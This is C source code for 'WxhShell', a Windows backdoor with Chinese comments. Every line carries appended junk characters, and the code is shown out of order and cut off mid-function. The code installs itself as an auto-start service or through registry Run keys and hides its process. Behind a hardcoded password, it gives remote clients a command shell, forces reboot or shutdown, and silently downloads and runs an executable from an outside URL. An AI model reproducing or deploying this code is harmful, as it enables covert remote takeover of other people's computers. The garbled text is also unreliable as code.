  case 'd': { &,tj.?NCn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DEW;0ic  
    if(Boot(SHUTDOWN)) Q%:Z&lg y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %uz6iQaq]X  
    else { 9I[k3  
    closesocket(wsh); NXMZTZpB7  
    ExitThread(0); O$7cN\Z  
    } > zfFvx_q  
    break; 3/ '5#$  
    } .sSbU^U  
  // 获取shell pv,z$3Q  
  case 's': { *RmD%[f  
    CmdShell(wsh); K SJ Ko  
    closesocket(wsh); YQ>O6:%  
    ExitThread(0); H6hhU'Kxf8  
    break; E> N[  
  } >mj WC) U  
  // 退出 d*dPi^JjC  
  case 'x': { 7l4}b^>/`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n)PqA*  
    CloseIt(wsh); q)3QmA~  
    break; /*(&Dmt>  
    } D67z6jep(  
  // 离开 Md&K#)9,(  
  case 'q': { %6la@i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u s8.nL/  
    closesocket(wsh); \olY)b[  
    WSACleanup(); Z>[n~{-,p  
    exit(1); p2 !w86 F  
    break; >*EJ6FPO  
        } $ I J^  
  } j8+>E ?nm  
  } KMx '(  
b!qlucA eE  
  // 提示信息 6OR)97  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kZ=2# .  
} RG9iTA'  
  } ^O& y ;5  
MaLH2?je^n  
  return; `neo.]  
} '$[a-)4  
n72kJ3u.  
// shell模块句柄 -EE}HUP)  
int CmdShell(SOCKET sock) P('bnDU  
{ vDyGxU!#\  
STARTUPINFO si; fg/hUUl  
ZeroMemory(&si,sizeof(si)); U ]7;K>.T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %' /^[j#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \hdil`{>  
PROCESS_INFORMATION ProcessInfo; ;(rK^*`fO  
char cmdline[]="cmd"; !+DhH2;)F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o(C;;C(*{  
  return 0; jW{bP_,"  
} XePGOw))O  
eH~T PH  
// 自身启动模式 o7^0Lo5Z?  
int StartFromService(void) </b_Rar  
{ %pLqX61t=  
typedef struct S263h(H  
{ Gr'|nR8  
  DWORD ExitStatus; NZ?dJ"eq7  
  DWORD PebBaseAddress; U?ZWDr"*`w  
  DWORD AffinityMask; E)|Bl>  
  DWORD BasePriority; fOdX2{7m  
  ULONG UniqueProcessId; 7d/I"?=|rA  
  ULONG InheritedFromUniqueProcessId; BY':R-~(  
}   PROCESS_BASIC_INFORMATION;  pLM?m  
] G^9PZ-  
PROCNTQSIP NtQueryInformationProcess; \(}pm#O  
Wiyiq )^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `/9I` <y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cq[Hh#q  
lYey7tl{  
  HANDLE             hProcess; g1 =>u  
  PROCESS_BASIC_INFORMATION pbi; nW`] =  
^V7)V)Z;0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |pBvy1e4)  
  if(NULL == hInst ) return 0; t^2$ent  
>Bu _NoM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wxN&k$`a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S4rm K&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DQ&\k'"\  
Oc-ia)v1G  
  if (!NtQueryInformationProcess) return 0; T-]UAN"O  
ZZYtaVF:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w_DaldK*  
  if(!hProcess) return 0; s<oT,SPt  
PS0/O k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cH5RpeP  
$j \jT  
  CloseHandle(hProcess); Htfq?\ FD  
"1`w>(=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %-B wK  
if(hProcess==NULL) return 0; aimf,(+  
Qwp2h"t`  
HMODULE hMod; g?K? Fn.}  
char procName[255]; Gyrc~m[$  
unsigned long cbNeeded; PR*EyM[T  
9< S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u$X =2u:P  
I}m>t}QRI_  
  CloseHandle(hProcess); YN~1.!F  
c~}FYO$  
if(strstr(procName,"services")) return 1; // 以服务启动 BqM[{Kv  
=dmxE*C  
  return 0; // 注册表启动 O-box?  
} y'n<oSB}  
r?dkE=B  
// 主模块 bR$5G  
int StartWxhshell(LPSTR lpCmdLine) J% ZM V  
{ F5OQM?J  
  SOCKET wsl; N34bB>_  
BOOL val=TRUE; d[*NDMO  
  int port=0; :&LV^ A  
  struct sockaddr_in door; "ZA`Lp;%w  
_ q AT%.  
  if(wscfg.ws_autoins) Install(); Q.\vN-(  
"!uS!BI?  
port=atoi(lpCmdLine); T5}5uk9  
g|h;*  
if(port<=0) port=wscfg.ws_port; Z_7TD)  
Fq`@sM $  
  WSADATA data; 1lJ^$U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 02)Ybp6y  
+UX} "m~W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vl?fCO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 54/ZGaonz  
  door.sin_family = AF_INET; j^eM i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qk>M~,  
  door.sin_port = htons(port); t;:Yf  
$Rn9*OKr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vE)d0l"  
closesocket(wsl); t{`-G*^  
return 1; }=.C~f]A  
} ca,c+5  
;yCtk ~T%  
  if(listen(wsl,2) == INVALID_SOCKET) { 6zi Mf  
closesocket(wsl); n A%8 bZ+  
return 1; XpA|<s  
} &)|f|\yh"  
  Wxhshell(wsl); lwo,D}  
  WSACleanup(); B B^81{A  
: qV|rih_Q  
return 0; >S S^qjh/  
A0Q1"b=  
} J7~Kjl  
=$ubSfx  
// 以NT服务方式启动 tf1Y5P$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mko,((>I1  
{ }uO2 x@  
DWORD   status = 0; 4{b/Nv:b  
  DWORD   specificError = 0xfffffff; AJ6O>Euq  
l1%*LyD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZmI#-[/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QkLcs6)R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T b*Q4:r"  
  serviceStatus.dwWin32ExitCode     = 0; $-6[9d-N  
  serviceStatus.dwServiceSpecificExitCode = 0; IVeA[qA0  
  serviceStatus.dwCheckPoint       = 0; .Np!Qp1*  
  serviceStatus.dwWaitHint       = 0; 4 XGEw9`3  
AboRuHQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?+$EPaC2  
  if (hServiceStatusHandle==0) return; a t=;}}X  
GkKoc v  
status = GetLastError(); FY]Et= p  
  if (status!=NO_ERROR) 6+C]rEY/o  
{ db3.X~Cn#s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'lgS) m  
    serviceStatus.dwCheckPoint       = 0; W;U<,g '  
    serviceStatus.dwWaitHint       = 0; N'|9rB2e  
    serviceStatus.dwWin32ExitCode     = status; ZJ[p7XP  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 4oMgH>Vd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5p/.( |b,  
    return; 5z" X>!?^  
  } ^Nysx ~6  
s5X51#J#~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; En0hjXa  
  serviceStatus.dwCheckPoint       = 0; ENf(E9O  
  serviceStatus.dwWaitHint       = 0; [kPl7[OL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kn2W{*wD  
} _cJ\A0h^  
x7xQrjE  
// 处理NT服务事件,比如:启动、停止 C.se/\PE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5rJ7CfVq  
{ _$oE'lat  
switch(fdwControl) ~Q=^YZgn8  
{ lO}I>yo}\  
case SERVICE_CONTROL_STOP: |8{ \j*3  
  serviceStatus.dwWin32ExitCode = 0; 2,.8 oa(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4*UKR!sr  
  serviceStatus.dwCheckPoint   = 0; 3v)`` n@  
  serviceStatus.dwWaitHint     = 0; G@<[fO|Iam  
  { Su'l &]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T\Jm=+]c!  
  } @^HZTuP2;  
  return; Tb] h<S  
case SERVICE_CONTROL_PAUSE: \x"BgLSE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <V#]3$(S  
  break; #O7phjzgD  
case SERVICE_CONTROL_CONTINUE: ]_4HtcL4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '9AYE"7Ydk  
  break; i^rHZmT  
case SERVICE_CONTROL_INTERROGATE: 5g2:o^  
  break; }w)wW1&  
}; 6O'Y@9#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }jg,[jw_"X  
} >E>'9@Uh  
qi8~bQ{rH  
// 标准应用程序主函数  f^[m~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {65_k  
{ MnptC 1N  
yeV|j\TJI.  
// 获取操作系统版本 WX $AOnEv  
OsIsNt=GetOsVer(); ?nf4K/IjZ!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }/7rA)_  
KoFWI_(b  
  // 从命令行安装 YRj"]= 5N  
  if(strpbrk(lpCmdLine,"iI")) Install(); m .^WSy  
~vfPsaRh  
  // 下载执行文件 M7neOQHq  
if(wscfg.ws_downexe) { ket"fXqJX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?C_Y2JY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]yas]5H   
} DWU(ld:_  
yuF\YOA9  
if(!OsIsNt) { .L_ Hk  
// 如果时win9x,隐藏进程并且设置为注册表启动 $XFFNE`%  
HideProc(); p{w;y6e  
StartWxhshell(lpCmdLine); ,){WK|_  
} &GI'-i  
else RP 6hw|  
  if(StartFromService()) w.Go]dpK  
  // 以服务方式启动 bWMb@zm  
  StartServiceCtrlDispatcher(DispatchTable); 4& 9V  
else EL9JM}%0v  
  // 普通方式启动 &"X1w $  
  StartWxhshell(lpCmdLine); qvRs1yr?q  
tSaD=#v  
return 0; 1( ]{tF  
} =n M Aw&`  
l D]?9K29  
`(@{t:L  
4aG}ex-s|  
=========================================== RIF*9=,S  
4HyD=6V#  
zB+zw\ncN  
@G=_nZxv  
49 1 1  
K)9f\1\  
" V_T~5%9Fy  
qWI8 >my11  
#include <stdio.h> BU%gXr4Ra  
#include <string.h> Gk<6+.c~  
#include <windows.h> 4pFoSs?\  
#include <winsock2.h> "%+9p6/  
#include <winsvc.h> \0^Je>-:U  
#include <urlmon.h> !A"-9OS2  
^L's45&_  
#pragma comment (lib, "Ws2_32.lib") \-:4TuU  
#pragma comment (lib, "urlmon.lib") nkz^^q`5l7  
S!7|vb*ko  
#define MAX_USER   100 // 最大客户端连接数 r7  *'s  
#define BUF_SOCK   200 // sock buffer P".rm0@R  
#define KEY_BUFF   255 // 输入 buffer Oa7jLz'i  
uq@_DPA7  
#define REBOOT     0   // 重启 HQrx9CXE  
#define SHUTDOWN   1   // 关机 7]8apei|  
(EOYJHZB!  
#define DEF_PORT   5000 // 监听端口 Gv 6#LcF#  
k)S'@>n{u  
#define REG_LEN     16   // 注册表键长度 }zHG]k,j  
#define SVC_LEN     80   // NT服务名长度 {OW.^UIq^  
BE," lX  
// 从dll定义API t8"yAYj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CNyV6jb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fb|lWEw5h.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DgC;1U'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W/<C$T4  
93y!x}  
// wxhshell配置信息 lhJZPnx~  
struct WSCFG { &y:SK)  
  int ws_port;         // 监听端口 6>/g`%`N  
  char ws_passstr[REG_LEN]; // 口令 e}W|wJ):j@  
  int ws_autoins;       // 安装标记, 1=yes 0=no MrpT5|t  
  char ws_regname[REG_LEN]; // 注册表键名  76EMS?e  
  char ws_svcname[REG_LEN]; // 服务名 >3y:cPTM5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GP=&S|hi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "A&HNkRz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6zW3!_tz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k!sk\~>YO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t x#(K#/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wRj&k(?*  
v,,Dz8!Ty  
}; %weG}gCM  
RL1cx|  
// default Wxhshell configuration 66Xo3 o  
struct WSCFG wscfg={DEF_PORT, Ea?u5$>gY"  
    "xuhuanlingzhe", i^&^eg'.5  
    1, :<`po4/  
    "Wxhshell", O `a4 ")R  
    "Wxhshell", 5U%a$.yr  
            "WxhShell Service", 9Zpd=m8dU  
    "Wrsky Windows CmdShell Service", F]^ZdJ2  
    "Please Input Your Password: ", # ,27,#  
  1, ( T2 \   
  "http://www.wrsky.com/wxhshell.exe", @# &y  
  "Wxhshell.exe" mdukl!_x  
    }; f#zm}+,`  
DbvKpM H  
// 消息定义模块 ^EmI;ks  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]"4\]_?r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x)^t5"F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f hr QJ  
char *msg_ws_ext="\n\rExit."; ;TG<$4N  
char *msg_ws_end="\n\rQuit."; yX|0 R H  
char *msg_ws_boot="\n\rReboot..."; /FA0(< -}  
char *msg_ws_poff="\n\rShutdown..."; KJN{p~Q  
char *msg_ws_down="\n\rSave to "; e'1}5Ky  
Ra^GbT|Z  
char *msg_ws_err="\n\rErr!"; nn6&`$(Q~  
char *msg_ws_ok="\n\rOK!"; Cw&U*H  
Tjza3M  
char ExeFile[MAX_PATH]; 8yn}|Y9Fu  
int nUser = 0; ^jZ4tH3K  
HANDLE handles[MAX_USER]; SpiI9)gp  
int OsIsNt; 3+2cD  
e2$k %c~  
SERVICE_STATUS       serviceStatus; o-%DL*^5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FTC,{$  
G,JNUok  
// 函数声明 x9VR>ux&  
int Install(void); AF-uTf  
int Uninstall(void); fs wQ*  
int DownloadFile(char *sURL, SOCKET wsh); y(0";\V  
int Boot(int flag); IJV1=/ NJW  
void HideProc(void); WEFvJ0]  
int GetOsVer(void); uGH>|V9'c  
int Wxhshell(SOCKET wsl); %,[p[`NRYR  
void TalkWithClient(void *cs); H8'_.2vwX  
int CmdShell(SOCKET sock); QAmb_:^"d  
int StartFromService(void); )Y@mL/_  
int StartWxhshell(LPSTR lpCmdLine); W: vw.  
tgB\;nbB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [agp06 $D?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q7@.WG5  
o$+"{3svw?  
// 数据结构和表定义 86N"EuH$  
SERVICE_TABLE_ENTRY DispatchTable[] = x7 l3&;yDv  
{ yUzpl[*e^o  
{wscfg.ws_svcname, NTServiceMain}, 1lLL9l{UVw  
{NULL, NULL} 0413K_  
}; MC&sM-/  
;OynkZs)  
// 自我安装 *%wfR7G[B  
int Install(void) j=~c( B  
{ 3G)Wmmh"a  
  char svExeFile[MAX_PATH]; XF 8$D  
  HKEY key; YFY$iN~B,  
  strcpy(svExeFile,ExeFile); ({_Dg43O'[  
?E:L6,a  
// 如果是win9x系统,修改注册表设为自启动 98AX=%8  
if(!OsIsNt) { jLu`DKB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K}p!W"!o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &E&e5(&$  
  RegCloseKey(key); 8Qt'Y9|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cy-Bhk0H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {@8TGHKv  
  RegCloseKey(key); '8b/TL  
  return 0; 4PzCm k  
    }  B1!b@0^  
  } 0kdPr:B Q0  
} N ?mTAF'M  
else { o<r|YRzQl  
kxp, ZP  
// 如果是NT以上系统,安装为系统服务 g1s\6%g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N-4k 9l1  
if (schSCManager!=0) ni$S@0  
{ _H+|Ic  
  SC_HANDLE schService = CreateService 5VG[FY6Pl  
  ( #A '|O\RGP  
  schSCManager, U ,wJ8  
  wscfg.ws_svcname, s]z-d!G  
  wscfg.ws_svcdisp, SsE8;IGH  
  SERVICE_ALL_ACCESS, 39(]UO6^;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "\9!9U#!  
  SERVICE_AUTO_START, w[S!U<9/  
  SERVICE_ERROR_NORMAL,  8~>5k  
  svExeFile, D L0i  
  NULL, J<4 egk4  
  NULL, oSOO5dk:z  
  NULL, xF4>D!T%8  
  NULL, tgPx!5U  
  NULL Y]SX2kk(2  
  ); ~Yw`w 2  
  if (schService!=0) ZFAi9M  
  { ,@1.&!F4it  
  CloseServiceHandle(schService); X<<hb  
  CloseServiceHandle(schSCManager); ;/Z9M"!u[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `Y~EL?  
  strcat(svExeFile,wscfg.ws_svcname); <[e E5X(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oS/cS)N20  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N=QeeAI}}m  
  RegCloseKey(key); l12_&o"C~  
  return 0; 9$u'2TV  
    } g5 J[ut  
  } z"@yE*6  
  CloseServiceHandle(schSCManager); 9svnB@  
} y.l`NTT] <  
} "#a_--"k9  
1b,,uI_  
return 1; ?{OB+f}Mo  
} A@kp` -  
u ::2c  
// 自我卸载 "XEK oeG{  
int Uninstall(void) 1UHStR  
{ 61W ms@D%  
  HKEY key; < c}cgD4  
v&NC` dVR  
if(!OsIsNt) { PsLMV:O9S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v;q<h  
  RegDeleteValue(key,wscfg.ws_regname); 8Q%rBl.  
  RegCloseKey(key); $H9+>Z0(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cnUYhxE+s  
  RegDeleteValue(key,wscfg.ws_regname); 4\.1phe$a  
  RegCloseKey(key); YB^[HE\#y  
  return 0; fJb<<6C  
  } Aqwjs 3  
} .%D9leiRe  
} /~49.}yt  
else { q^e4  
9D2}heTN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CO` %eL ~  
if (schSCManager!=0) V?a+u7*U&  
{ X_}2xo|T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |,&5.|E 7  
  if (schService!=0) \m3;<A/3n  
  { yj6o533o  
  if(DeleteService(schService)!=0) { 4+Sq[Rv0  
  CloseServiceHandle(schService); :+9KNyA  
  CloseServiceHandle(schSCManager); uz(3ml^S  
  return 0; :jol Nl|a  
  } /$ -^k[%  
  CloseServiceHandle(schService); vakAl;  
  } $\0%"S  
  CloseServiceHandle(schSCManager); PfaBzi9?f  
} J;K-Pv +  
} Fo=hL  
"pDwN$c  
return 1; FZW)C'j  
} NDJIaX:]  
iBq|]  
// 从指定url下载文件 PhHBmM GL  
int DownloadFile(char *sURL, SOCKET wsh) = h _>OA  
{ {R2gz]v4  
  HRESULT hr; 6/m|Sg.m  
char seps[]= "/"; (~R[K,G  
char *token; s)=fs#%  
char *file; (8(7:aE $  
char myURL[MAX_PATH]; Hl,.6 >F?  
char myFILE[MAX_PATH]; H8V${&!ho  
k* ayzg3F>  
strcpy(myURL,sURL); lzQmD/i*  
  token=strtok(myURL,seps); . C g2Y  
  while(token!=NULL) 1ke H1[  
  { FCC9Ht8U?  
    file=token; }/ p>DMN  
  token=strtok(NULL,seps); 9t.u9C=!F  
  } qP"+SVqC  
%nTgrgS(=  
GetCurrentDirectory(MAX_PATH,myFILE); _B@=fY(g!  
strcat(myFILE, "\\"); 03WLVP@  
strcat(myFILE, file); ewNzRH,b  
  send(wsh,myFILE,strlen(myFILE),0); ]wH,534  
send(wsh,"...",3,0); `CW I%V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y<Hka'(%  
  if(hr==S_OK) @WV}VKm  
return 0; vtvF)jlX  
else "ooq1 0P  
return 1; ionFPc].  
Sn I-dXNF  
} i@=0fHiZQ  
i`]-rM%J#  
// 系统电源模块 y;)j  
int Boot(int flag) wUGSM"~ |  
{ mgIB8D+6  
  HANDLE hToken; 5B&#Sh`r  
  TOKEN_PRIVILEGES tkp; uM!$`JN  
F~;G [6}  
  if(OsIsNt) { -6URM`y'j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2S~cW./#fX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t% -"h|  
    tkp.PrivilegeCount = 1; %h)6o99{wF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <oweLRt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C #A sA  
if(flag==REBOOT) { $\S;f"IM.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .AIlv^:|U  
  return 0; 5pF4{Jd1  
} ze+_iQ5  
else { 6qW/Td|g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Md~% e'  
  return 0; Q\pTyNAYn  
} =Kq/E De  
  } k 8C[fRev  
  else { O5:?nD  
if(flag==REBOOT) { RoV^sbWFt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V/X4WZs|i  
  return 0; k<aKT?Ek>  
} 5XK}8\  
else { Xz,-'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E\3fL"lM  
  return 0; "|{3V:e>a  
} < r6e23  
} av-l_iE  
{s=n "*Qp)  
return 1; s:_M+_7_  
} 6`/nA4S4.  
n|t?MoUP  
// win9x进程隐藏模块 mlIX>ss|7B  
void HideProc(void) wA@y B"  
{ c4]/{!4 Q  
"A_,Ga  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]2^tV.^S^  
  if ( hKernel != NULL ) e,Ih7-=Er,  
  { + 9vd(c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c6IFt4)g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qTbY'V5A  
    FreeLibrary(hKernel); 1ga-8&!  
  } ]:lqbg[J  
1`t4wD$/  
return; mcbr3P  
} ds@w=~  
~VNN  
// 获取操作系统版本 64qm  
int GetOsVer(void) W/z\j/Rgc  
{ ?\_N*NEtK  
  OSVERSIONINFO winfo; 'ZyHp=RN)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q4].C|7   
  GetVersionEx(&winfo); tTWeOAF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ya!RiHj  
  return 1; %Pr P CT  
  else s[ {L.9Y  
  return 0; =5NM =K  
} R|7yhsJq,  
$ O1w 6\}_  
// 客户端句柄模块 x?hdC)#DWI  
int Wxhshell(SOCKET wsl) bU`Ih# q  
{ Vb${Oy+  
  SOCKET wsh; PQl a-  
  struct sockaddr_in client; Mx ?{[zT"  
  DWORD myID; Yzr RnVr  
PUMh#^g}  
  while(nUser<MAX_USER) 5k0r{^#M  
{ ;B%NFvG  
  int nSize=sizeof(client); z tS P4lW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )Fc` rY  
  if(wsh==INVALID_SOCKET) return 1; 8"!Z^_y)  
l2v4SvbX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mL\j^q,Y  
if(handles[nUser]==0) adHZX  
  closesocket(wsh); OBGA~E;%  
else 3t  
  nUser++; GCN(  
  } Qt+|s&HGt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DqgYc[UGA  
yo)a_rY  
  return 0; Of)EBa<5^  
} kF:4 [d  
Wa#!O$u  
// 关闭 socket Qr`WPTQr"  
void CloseIt(SOCKET wsh) VE4Z;Dr"  
{ ,|gX?[o  
closesocket(wsh); /O"IA4O  
nUser--; vn n4  
ExitThread(0); 2?3D` `  
} ;^5d^-T  
m'Jk!eo  
// 客户端请求句柄 +xqPyR  
void TalkWithClient(void *cs) hFORs.L&G  
{ #UR4I2t*  
wRgh`Hc\}  
  SOCKET wsh=(SOCKET)cs; t`b>iX%(1t  
  char pwd[SVC_LEN]; ->DfT*)  
  char cmd[KEY_BUFF]; IUX~dO  
char chr[1]; Vp =  
int i,j; SHw%u~[hu  
sb 3l4(8g  
  while (nUser < MAX_USER) { fo63H'7  
y'(bp=Nq  
if(wscfg.ws_passstr) { tw. 2h'D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >QwZt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pfj%AP:  
  //ZeroMemory(pwd,KEY_BUFF); d*%-r2K  
      i=0; yZf+*j/a7  
  while(i<SVC_LEN) { (<ybst6+I  
?b',kN,(  
  // 设置超时 az7<@vSXi  
  fd_set FdRead; /0(2PVf y  
  struct timeval TimeOut; *ey<R  
  FD_ZERO(&FdRead); @Q:5{?  
  FD_SET(wsh,&FdRead); pWo`iM& F  
  TimeOut.tv_sec=8; Wsb=SM7;  
  TimeOut.tv_usec=0; 5oz[Njq4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1tvgM !.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c5_?jKpl  
>G`=8Ku  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (k?,+jnR  
  pwd=chr[0]; 4l! ^"=rh  
  if(chr[0]==0xd || chr[0]==0xa) { 3c5=>'^F  
  pwd=0; xyO]Evg  
  break; ygm4Aj>  
  } h:QKd!Gq  
  i++; *uYnu|UQH  
    } '</  
Jhbkp?Zli  
  // 如果是非法用户,关闭 socket OtuOT=%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H-%)r&"vn  
} MF>1u%  
?>lvV+3^`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u@SE)qg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a jy.K'B*  
>SJ# rZ  
while(1) { 8Rq+eOP=S  
<fX]`57Dc`  
  ZeroMemory(cmd,KEY_BUFF); }{*((@GY}  
Wx}+Vq<q  
      // 自动支持客户端 telnet标准   Lu&2^USTO  
  j=0; &wj;:f  
  while(j<KEY_BUFF) { ,RFcR[ak  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lhm=(7Y  
  cmd[j]=chr[0]; wAE ,mw  
  if(chr[0]==0xa || chr[0]==0xd) { m ys5B}  
  cmd[j]=0; =re1xR!E5  
  break; YH`/;H=$G/  
  } mq$mB1$3u  
  j++; CFJ F}aW  
    } zn5  
\XR%pC  
  // 下载文件 4kO[|~#  
  if(strstr(cmd,"http://")) { oD,f5Ci-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A3%s5`vNvH  
  if(DownloadFile(cmd,wsh)) =~YmM<L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3=9yR* *  
  else aK'`yuN  
